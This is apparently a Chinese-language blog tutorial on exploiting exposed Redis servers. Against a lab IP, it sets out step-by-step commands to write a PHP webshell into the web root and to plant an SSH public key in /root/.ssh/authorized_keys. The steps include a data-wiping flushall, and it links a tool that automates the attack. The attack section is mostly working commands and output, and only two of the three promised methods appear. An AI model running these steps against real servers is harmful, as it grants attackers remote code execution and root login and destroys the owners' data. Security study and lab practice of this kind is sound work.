redis漏洞的三种利用方式
1、redis 写shell
利用条件
1、有redis服务(无需root用户起服务)
2、服务器有web服务且能解析语言
利用过程
# Keyspace
192.168.40.163:6379> config set dir /var/www/html
OK
192.168.40.163:6379> config set dbfilename flag.php
OK
192.168.40.163:6379> set webshell "<!--?php phpinfo(); ?-->"
OK
192.168.40.163:6379> save
OK
192.168.40.163:6379>

目标服务器上查看

2.redis 写ssh密钥
利用条件
1、redis服务是root用户
2、目标服务器开启ssh远程连接
3、目标目录/root/.ssh文件存在
(,写入的目录不限于/root/.ssh下的authorized_keys,也可以写入用户目录,不过 Redis 很多以 root 权限运行,所以写入 root 目录下,可以跳过猜用户的步骤。)
注意事项
1、利用之前,要确保一次性写入,不然可能会将上次,或者上上次的内容一起保存起来。
2、此方法需要 flushall,会破坏数据。慎用
复现过程
1、在 Kali 上生成一个 ssh key,一路回车下来,上述东西是让你设置密码什么的,不碍事。(有兴趣可以研究)
ssh-keygen
在root目录下有隐藏文件.ssh

2、给生成的公钥文件内部加换行,是为了在redis数据库中区分
(echo -e "\n\n\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n\n\n") > flag.txt
3、清空数据,必备操作。注意:不要轻易操作,会清空 redis 所有数据。
redis-cli -h [服务器IP] flushall

4、把公钥写入到一个 key 里面,这个例子中是写入了 flag 这个 key。
cat flag.txt | redis-cli -h [服务器IP] -x set flag
(将ssh密钥写入靶机)

5、连接到这个 Redis 上
redis-cli -h [服务器IP]
6、设置 rdb 文件存放的路径
redis [服务器IP]:6379> config set dir /root/.ssh/
7、设置 rdb 文件的文件名
redis [服务器IP]:6379> config set dbfilename "authorized_keys"
8、搞定保存。
redis [服务器IP]:6379> save
redis [服务器IP]:6379> exit

9、尝试登陆:
ssh root@[服务器IP]
成功截图

windows 工具写ssh
攻击机:window10 + 工具
靶机:192.168.40.163
window生成ssh密钥
windows工具链接:https://github.com/pan3a/Redis-Getshell
1、windows生成密钥,生成后在c盘-->用户名-->.ssh目录下

2、输入相关命令
python RedisGetshell.py -H 192.168.40.163
C:\Users\wal\.ssh\id_rsa.pub
/root/.ssh/
authorized_keys

成功在靶机中写入ssh文件
准备在将kali里的ssh 复制 出来,用工具写进去,看是覆盖还是换行共存(实验后结果是覆盖掉以前的内容)
同样在window中写入kali的ssh,导致覆盖掉以前win10的ssh公钥

靶机中文件:


浙公网安备 33010602011771号